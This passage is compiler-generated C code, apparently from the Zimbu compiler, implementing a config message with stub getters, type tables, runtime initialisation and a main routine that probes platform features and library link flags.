Ti Aidx) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4029700; ZthrowThisNil(); } sf.pos=4029701; r = 0; topFrame = sf.prev; return r; } Ti32 YNdL__YAAo(YNdL *t, Ti AfieldNr) { Zsf sf; Ti32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4506100; ZthrowThisNil(); } sf.pos=4506101; r = 0; topFrame = sf.prev; return r; } Ti32 YNdL__YAAoa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Ti32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5526200; ZthrowThisNil(); } sf.pos=5526201; r = 0; topFrame = sf.prev; return r; } Tu YNdL__YRqV(YNdL *t, Ti AfieldNr) { Zsf sf; Tu r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1624700; ZthrowThisNil(); } sf.pos=1624701; r = 0; topFrame = sf.prev; return r; } Tu YNdL__YRqVa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tu r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2644800; ZthrowThisNil(); } sf.pos=2644801; r = 0; topFrame = sf.prev; return r; } Tu32 YNdL__Y0tE(YNdL *t, Ti AfieldNr) { Zsf sf; Tu32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7588200; ZthrowThisNil(); } sf.pos=7588201; r = 0; topFrame = sf.prev; return r; } Tu32 YNdL__Y0tEa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tu32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8608300; ZthrowThisNil(); } sf.pos=8608301; r = 0; topFrame = sf.prev; return r; } Tf32 YNdL__Yyt7(YNdL *t, Ti AfieldNr) { Zsf sf; Tf32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2145100; ZthrowThisNil(); } sf.pos=2145101; r = 0; topFrame = sf.prev; return r; } Tf32 YNdL__Yyt7a(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tf32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3165200; ZthrowThisNil(); } sf.pos=3165201; r = 0; topFrame = sf.prev; return r; } Tf YNdL__Yybv(YNdL *t, Ti AfieldNr) { Zsf sf; Tf r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9558000; ZthrowThisNil(); } sf.pos=9558001; r = 0; topFrame = sf.prev; return r; } Tf YNdL__Yybva(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tf r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=578100; ZthrowThisNil(); } sf.pos=578101; r = 0; topFrame = sf.prev; return r; } Tb YNdL__YGfza(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tb r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7921800; ZthrowThisNil(); } sf.pos=7921801; r = 0; topFrame = sf.prev; return r; } Tc *YNdL__YsRaa(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tc *r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2540100; ZthrowThisNil(); } sf.pos=2540101; r = ((Tc*)&Ya); topFrame = sf.prev; return r; } Tr YNdL__Yo5y(YNdL *t, Ti AfieldNr) { Zsf sf; Tr r = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9575000; ZthrowThisNil(); } sf.pos=9575001; r = trZero; topFrame = sf.prev; return r; } Tr YNdL__Yo5ya(YNdL *t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tr r = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=595100; ZthrowThisNil(); } sf.pos=595101; r = trZero; topFrame = sf.prev; return r; } Ti YNdL__YUDN(YNdL *t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8162700; ZthrowThisNil(); } sf.pos=8162701; r = 0; topFrame = sf.prev; return r; } Tc *YNdL__YC5i(YNdL *t) { Zsf sf; Tc *r = 0; YjUM *Vwriter = 0; YLWE *VprotoWriter = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7979400; ZthrowThisNil(); } sf.pos=7979401; Vwriter = Za(sizeof(YjUM)); sf.pos=7979402; VprotoWriter = YrCUb(NULL, *Znao(&t0, Vwriter, YjUM__YdXi_imt, 2), ((Tc*)&Ya), 0); sf.pos=7979403; YP8Z(*Znao(&t0, t, YNdL__YFL0_I_imt, 0), VprotoWriter); sf.pos=7979404; r = YbNW(Vwriter); topFrame = sf.prev; return r; } Tc *YNdL__YFL0_I_imt[] = { (Tc*)&YNdL__T, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)0, (Tc*)YlZca, /* MZimbu__CConfig.hasField - YlZca */ (Tc*)Ykvoa, /* MZimbu__CConfig.name - Ykvoa */ (Tc*)YNdL__Y0zDa, /* MZimbu__CConfig.enumGet - YNdL__Y0zDa */ (Tc*)YNdL__Y0zD, /* MZimbu__CConfig.enumGet - YNdL__Y0zD */ (Tc*)YNdL__YytNa, /* MZimbu__CConfig.enumNameGet - YNdL__YytNa */ (Tc*)YNdL__YytN, /* MZimbu__CConfig.enumNameGet - YNdL__YytN */ (Tc*)YNdL__YGR8a, /* MZimbu__CConfig.intGet - YNdL__YGR8a */ (Tc*)YNdL__YGR8, /* MZimbu__CConfig.intGet - YNdL__YGR8 */ (Tc*)YNdL__YAAoa, /* MZimbu__CConfig.int32Get - YNdL__YAAoa */ (Tc*)YNdL__YAAo, /* MZimbu__CConfig.int32Get - YNdL__YAAo */ (Tc*)YNdL__YRqVa, /* MZimbu__CConfig.uint64Get - YNdL__YRqVa */ (Tc*)YNdL__YRqV, /* MZimbu__CConfig.uint64Get - YNdL__YRqV */ (Tc*)YNdL__Y0tEa, /* MZimbu__CConfig.uint32Get - YNdL__Y0tEa */ (Tc*)YNdL__Y0tE, /* MZimbu__CConfig.uint32Get - YNdL__Y0tE */ (Tc*)YNdL__Yyt7a, /* MZimbu__CConfig.floatGet - YNdL__Yyt7a */ (Tc*)YNdL__Yyt7, /* MZimbu__CConfig.floatGet - YNdL__Yyt7 */ (Tc*)YNdL__Yybva, /* MZimbu__CConfig.doubleGet - YNdL__Yybva */ (Tc*)YNdL__Yybv, /* MZimbu__CConfig.doubleGet - YNdL__Yybv */ (Tc*)YNdL__YGfza, /* MZimbu__CConfig.boolGet - YNdL__YGfza */ (Tc*)YFKUa, /* MZimbu__CConfig.boolGet - YFKUa */ (Tc*)YNdL__YsRaa, /* MZimbu__CConfig.stringGet - YNdL__YsRaa */ (Tc*)Yxv3a, /* MZimbu__CConfig.stringGet - Yxv3a */ (Tc*)0, /* MZimbu__CConfig.enumSet - YNdL__Y3p7 */ (Tc*)0, /* MZimbu__CConfig.enumNameSet - YNdL__YBjh */ (Tc*)0, /* MZimbu__CConfig.intSet - YNdL__YJHD */ (Tc*)0, /* MZimbu__CConfig.int32Set - YNdL__YDqT */ (Tc*)0, /* MZimbu__CConfig.uint64Set - YNdL__YOAq */ (Tc*)0, /* MZimbu__CConfig.uint32Set - YNdL__YYD9 */ (Tc*)0, /* MZimbu__CConfig.floatSet - YNdL__YBjC */ (Tc*)0, /* MZimbu__CConfig.doubleSet - YNdL__Yvl0 */ (Tc*)0, /* MZimbu__CConfig.boolSet - YCUpa */ (Tc*)0, /* MZimbu__CConfig.stringSet - YuFza */ (Tc*)YNdL__Yo5ya, /* MZimbu__CConfig.messageGet - YNdL__Yo5ya */ (Tc*)YNdL__Yo5y, /* MZimbu__CConfig.messageGet - YNdL__Yo5y */ (Tc*)0, /* MZimbu__CConfig.messageSet - YNdL__YrW2 */ (Tc*)0, /* MZimbu__CConfig.messageAdd - YNdL__Y0Dj */ (Tc*)0, /* MZimbu__CConfig.mergeMessageFromReader - YNdL__Ymza */ (Tc*)YNdL__YUDN, /* MZimbu__CConfig.size - YNdL__YUDN */ (Tc*)Yozoa, /* MZimbu__CConfig.fieldSpecs - Yozoa */ (Tc*)YNdL__YC5i, /* MZimbu__CConfig.ToString - YNdL__YC5i */ (Tc*)0, /* MZimbu__CConfig.toString - YNdL__YVAI */ (Tc*)0, /* MZimbu__CConfig.writeText - YNdL__Yr3ca */ (Tc*)0, /* MZimbu__CConfig.writeText - YNdL__Yr3c */ (Tc*)0, /* MZimbu__CConfig.Equal - YNdL__YYdF */ (Tc*)0, /* MZimbu__CConfig.writeBinary - YNdL__YpSR */ (Tc*)0, /* MZimbu__CConfig.writeBinaryDeref - YNdL__Yz9e */ (Tc*)0, /* MZimbu__CConfig.writeJson - YNdL__YVaR */ (Tc*)0, /* MZimbu__CConfig.writeJsonDeref - YNdL__YgZk */ (Tc*)0, /* Init - YNdLa */ }; To ToYNdL[] = { {18, 0}, {0, (Tt*)&string__T}, /* f_mallocArg */ {0, (Tt*)&string__T}, /* f_threadArg */ {0, (Tt*)&string__T}, /* f_socketArg */ {0, (Tt*)&string__T}, /* f_mathArg */ {0, (Tt*)&string__T}, /* f_exeSuffix */ {0, (Tt*)&string__T}, /* f_exePrefix */ {0, (Tt*)&string__T}, /* f_int16Name */ {0, (Tt*)&string__T}, /* f_int32Name */ {0, (Tt*)&string__T}, /* f_int64Name */ {0, (Tt*)&string__T}, /* f_nat16Name */ {0, (Tt*)&string__T}, /* f_nat32Name */ {0, (Tt*)&string__T}, /* f_nat64Name */ {0, (Tt*)&string__T}, /* f_floatName */ {0, (Tt*)&string__T}, /* f_float32Name */ {0, (Tt*)&string__T}, /* f_intPtrName */ {0, (Tt*)&string__T}, /* f_printIntFormat */ {0, (Tt*)&string__T}, /* f_printNatFormat */ {0, (Tt*)&string__T}, /* f_scanfHexFormat */ }; Tto YNdL__T = {390, (Tc*)&YF2d, 0, ToYNdL}; int JzimbuConfig(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; done &= JProto(round); if (round == 2001) { sf.pos=7469100; YR6X = ZnewList((Tt*)&YqvM__T, 23); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y1i0), 1, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YF8m), 2, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Yxze), 3, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YdV8), 10, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Yefj), 4, 1, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YqSF), 5, 1, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YG05), 6, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Yg4Z), 7, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YUN3), 8, 1, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Yeai), 9, 1, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YLf6), 20, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Yk4r), 21, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Ym8g), 22, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Ywoc), 23, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y5cy), 24, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y7gn), 25, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y7N0), 26, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y4ZK), 27, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YlnY), 28, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YMLF), 40, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YxUL), 41, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&YPkn), 42, 17, 0)); ZLap((Tl*)YR6X, (Tz)(void*)Ykww(NULL, ((Tc*)&Y83L), 50, 1, 0)); } topFrame = sf.prev; } return done; } /* zimbuConfig done */ /* * INIT IMT */ void ZimtInit(void) { { Ytlm *p = 0; ToYtlm[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYtlm[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYtlm[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YEro *p = 0; ToYEro[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYEro[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYEro[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YKhn *p = 0; YKhn__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YKhn__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YKhn__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYKhn[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYKhn[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYKhn[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { Y1uN *p = 0; Y1uN__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); Y1uN__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); Y1uN__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToY1uN[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToY1uN[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToY1uN[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YAxe *p = 0; YAxe__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YAxe__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YAxe__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYAxe[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYAxe[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYAxe[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YVNj *p = 0; YVNj__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YVNj__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YVNj__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYVNj[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYVNj[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYVNj[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { Yalz *p = 0; Yalz__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); Yalz__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); Yalz__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYalz[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYalz[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYalz[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { Y2EX *p = 0; Y2EX__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); Y2EX__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); Y2EX__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToY2EX[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToY2EX[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToY2EX[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YX0i *p = 0; YX0i__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YX0i__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YX0i__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYX0i[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYX0i[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYX0i[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YzSI *p = 0; YzSI__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YzSI__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YzSI__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYzSI[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYzSI[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYzSI[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YXKl *p = 0; YXKl__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YXKl__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YXKl__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYXKl[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYXKl[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYXKl[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YuDC *p = 0; YuDC__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YuDC__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YuDC__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYuDC[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYuDC[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYuDC[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YrHq *p = 0; YrHq__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YrHq__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YrHq__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYrHq[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYrHq[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYrHq[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YkxB *p = 0; ToYkxB[1].off = (int)((Tc*)&p->Vfilename - (Tc*)p); ToYkxB[2].off = (int)((Tc*)&p->Vtext - (Tc*)p); } { Yw8L *p = 0; Yw8L__Yw8L_I_imt[20] = (Tc*)((Tc*)&p->Vfd - (Tc*)p); Yw8L__Yw8L_I_imt[21] = (Tc*)((Tc*)&p->Vname - (Tc*)p); ToYw8L[1].off = (int)((Tc*)&p->Vname - (Tc*)p); } { YjUM *p = 0; ToYjUM[1].off = (int)((Tc*)&p->Vs - (Tc*)p); ToYjUM[2].off = (int)((Tc*)&p->Vx - (Tc*)p); } { Ys_q *p = 0; Ys_q__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); Ys_q__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); Ys_q__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYs_q[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYs_q[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYs_q[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YOEA *p = 0; YOEA__Ytlm_I_imt[1] = (Tc*)((Tc*)&p->Vmessage - (Tc*)p); YOEA__Ytlm_I_imt[2] = (Tc*)((Tc*)&p->Vpos - (Tc*)p); YOEA__Ytlm_I_imt[3] = (Tc*)((Tc*)&p->Vbacktrace - (Tc*)p); ToYOEA[1].off = (int)((Tc*)&p->Vmessage - (Tc*)p); ToYOEA[2].off = (int)((Tc*)&p->Vpos - (Tc*)p); ToYOEA[3].off = (int)((Tc*)&p->Vbacktrace - (Tc*)p); } { YqvM *p = 0; ToYqvM[1].off = (int)((Tc*)&p->Vname - (Tc*)p); } { YLWE *p = 0; ToYLWE[1].off = (int)((Tc*)&p->Vwriter - (Tc*)p); ToYLWE[2].off = (int)((Tc*)&p->Vindent - (Tc*)p); } { YNdL *p = 0; YNdL__YFL0_I_imt[1] = (Tc*)((Tc*)&p->VderefTime - (Tc*)p); YNdL__YFL0_I_imt[2] = (Tc*)((Tc*)&p->VderefId - (Tc*)p); YNdL__YFL0_I_imt[3] = (Tc*)((Tc*)&p->VderefTimeSize - (Tc*)p); YNdL__YFL0_I_imt[4] = (Tc*)((Tc*)&p->VderefIdSize - (Tc*)p); ToYNdL[1].off = (int)((Tc*)&p->Vf_mallocArg - (Tc*)p); ToYNdL[2].off = (int)((Tc*)&p->Vf_threadArg - (Tc*)p); ToYNdL[3].off = (int)((Tc*)&p->Vf_socketArg - (Tc*)p); ToYNdL[4].off = (int)((Tc*)&p->Vf_mathArg - (Tc*)p); ToYNdL[5].off = (int)((Tc*)&p->Vf_exeSuffix - (Tc*)p); ToYNdL[6].off = (int)((Tc*)&p->Vf_exePrefix - (Tc*)p); ToYNdL[7].off = (int)((Tc*)&p->Vf_int16Name - (Tc*)p); ToYNdL[8].off = (int)((Tc*)&p->Vf_int32Name - (Tc*)p); ToYNdL[9].off = (int)((Tc*)&p->Vf_int64Name - (Tc*)p); ToYNdL[10].off = (int)((Tc*)&p->Vf_nat16Name - (Tc*)p); ToYNdL[11].off = (int)((Tc*)&p->Vf_nat32Name - (Tc*)p); ToYNdL[12].off = (int)((Tc*)&p->Vf_nat64Name - (Tc*)p); ToYNdL[13].off = (int)((Tc*)&p->Vf_floatName - (Tc*)p); ToYNdL[14].off = (int)((Tc*)&p->Vf_float32Name - (Tc*)p); ToYNdL[15].off = (int)((Tc*)&p->Vf_intPtrName - (Tc*)p); ToYNdL[16].off = (int)((Tc*)&p->Vf_printIntFormat - (Tc*)p); ToYNdL[17].off = (int)((Tc*)&p->Vf_printNatFormat - (Tc*)p); ToYNdL[18].off = (int)((Tc*)&p->Vf_scanfHexFormat - (Tc*)p); } } /* * INIT GLOBALS */ int ZglobInit(int round) { int done = 1; Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; done &= JIOModule(round); done &= JzimbuConfig(round); if (round == 2001) { } topFrame = sf.prev; return done; } /* * MAIN */ #if defined(__MINGW32__) || defined(_MSC_VER) # define CATCH_SIG(sig, func) signal(sig, func) typedef struct SEH_EXCEPTION_REGISTRATION_S SEH_EXCEPTION_REGISTRATION; struct SEH_EXCEPTION_REGISTRATION_S { SEH_EXCEPTION_REGISTRATION *prev; PEXCEPTION_HANDLER handler; }; static EXCEPTION_DISPOSITION exception_handler(PEXCEPTION_RECORD pRecord, SEH_EXCEPTION_REGISTRATION *pReg, PCONTEXT pContext, PEXCEPTION_RECORD pRecord2) { Zdeadly(11); return ExceptionContinueSearch; } #else # define CATCH_SIG(sig, func) catch_sig(sig, func) void catch_sig(int sig, void *func) { struct sigaction act; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = SA_NODEFER; sigaction(sig, &act, NULL); } #endif int Fmain(void); int main(int argc, char **argv) { int r = 0; int round = 0; #if defined(__MINGW32__) || defined(_MSC_VER) SEH_EXCEPTION_REGISTRATION seh_er; seh_er.handler = (PEXCEPTION_HANDLER)(exception_handler); asm volatile ("movl %%fs:0, %0" : "=r" (seh_er.prev)); asm volatile ("movl %0, %%fs:0" : : "r" (&seh_er)); #else # ifdef SIGSEGV CATCH_SIG(SIGSEGV, Zdeadly); # endif # ifdef SIGBUS CATCH_SIG(SIGBUS, Zdeadly); # endif # ifdef SIGFPE CATCH_SIG(SIGFPE, Zdeadly); # endif #endif #if defined(__MINGW32__) || defined(_MSC_VER) # ifdef __MINGW32__ _fmode = _O_BINARY; # else _set_fmode(_O_BINARY); # endif _setmode(_fileno(stdin), _O_BINARY); _setmode(_fileno(stdout), _O_BINARY); _setmode(_fileno(stderr), _O_BINARY); #endif emergencyAlloc = malloc(16384); ZimtInit(); ZglobInit(round++); ZglobInit(round++); while (!ZglobInit(round++)) { if (round == 1002) ZthrowCstringInit("Early initialization not done within 1000 rounds"); } round = 2001; ZglobInit(round++); while (!ZglobInit(round++)) { if (round == 3002) ZthrowCstringInit("Initialization not done within 1000 rounds"); } r = Fmain(); beforeExit(); if (topFrame != NULL) fprintf(stderr, "INTERNAL: topFrame not NULL\n"); return r; } int Fmain(void) { Tb VhaveResolve; Tb VhaveFork; Tb VhaveSigaction; Tb VgcWithThreads; Tb VisMingw; Ti VshortSize; Ti VintSize; Ti VlongSize; Ti VlongLongSize; Ti VunsShortSize; Ti VunsIntSize; Ti VunsLongSize; Ti VunsLongLongSize; Ti VptrSize; Ti VfloatSize; Ti VdoubleSize; Ti VvoidPtrSize; Zsf sf; Ti r = 0; YNdL *VzimbuConfig = 0; Tc *Vfound = NULL; Tl *Zf1 = NULL; Tc *Vdir = NULL; Tl *Zf2 = NULL; Tc *Vs = NULL; Tc *VthreadArg = NULL; Tc *VsocketArg = NULL; Tc *VmathArg = NULL; Tc *VintType = NULL; Tc *VprintIntFormat = NULL; Tc *VscanfHexFormat = NULL; Tc *VprintNatFormat = NULL; Tc *VnatType = NULL; Tc *VintPtrName = NULL; Tc *VexeSuffix = NULL; Tc *VexePrefix = NULL; Tr Vwriter = {NULL}; Tc *Vconfig = NULL; Tl *t0 = NULL; int rt = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; r = 0; sf.pos=527000; VzimbuConfig = YA_Z(NULL); sf.pos=527001; { Tfl Zf1i; Zf1 = (t0 = ZnewList((Tt*)&string__T, 7), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&Yj_i)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YftF)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YK0f)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YIMX)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YDCH)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YYHU)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&YGiO))); Zf1i.l = Zf1; Zf1i.valp = (void*)&Vdir; Zf1i.i = 0; for (; ZforListPtrCont(&Zf1i); ) { sf.pos=527002; { Tfl Zf2i; Zf2 = (t0 = ZnewList((Tt*)&string__T, 2), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&Y912)), ZLap((Tl*)t0, (Tz)(void*)((Tc*)&Y56Y))); Zf2i.l = Zf2; Zf2i.valp = (void*)&Vs; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=527003; if (Y0YB(ZcS5(Vdir, ((Tc*)&YK0f), Vs, ((Tc*)&YEk4), (Tc*)1))) { sf.pos=527004; Vfound = Vs; rt = 2; goto YCc4; } YCc4: if (rt == 2) { rt &= 1; break; } sf.pos=527005; } } sf.pos=527006; if ((Vfound != NULL)) { rt = 2; goto YPyu; } YPyu: if (rt == 2) { rt &= 1; break; } sf.pos=527007; } } sf.pos=527008; if ((Vfound != NULL)) { sf.pos=527009; YrF2(VzimbuConfig, ZcS(((Tc*)&Y1ja), Vfound)); } else { sf.pos=527010; Yl0k(((Tc*)&YbiD)); sf.pos=527011; Yl0k(((Tc*)&Y51Q)); } sf.pos=527012; VthreadArg = ((Tc*)&YglX); sf.pos=527013; VmathArg = ((Tc*)&YtA1); sf.pos=527014; #if defined(__MINGW32__) VthreadArg = Zstr("-lpthreadGC2"); VsocketArg = Zstr("-lws2_32"); #endif sf.pos=527015; YOPG(VzimbuConfig, VthreadArg); sf.pos=527016; if ((VsocketArg != NULL)) { sf.pos=527017; YWoP(VzimbuConfig, VsocketArg); } sf.pos=527018; Yjrt(VzimbuConfig, VmathArg); VhaveResolve = 0; VhaveFork = 0; VhaveSigaction = 0; VgcWithThreads = 0; sf.pos=527019; #ifdef __MINGW32__ VhaveResolve = 0; VhaveFork = 0; VhaveSigaction = 0; VgcWithThreads = 0; #else VhaveResolve = 1; VhaveFork = 1; VhaveSigaction = 1; VgcWithThreads = 1; #endif sf.pos=527020; Yqt5(VzimbuConfig, VhaveResolve); sf.pos=527021; YBhB(VzimbuConfig, VhaveFork); sf.pos=527022; Y118(VzimbuConfig, VhaveSigaction); sf.pos=527023; 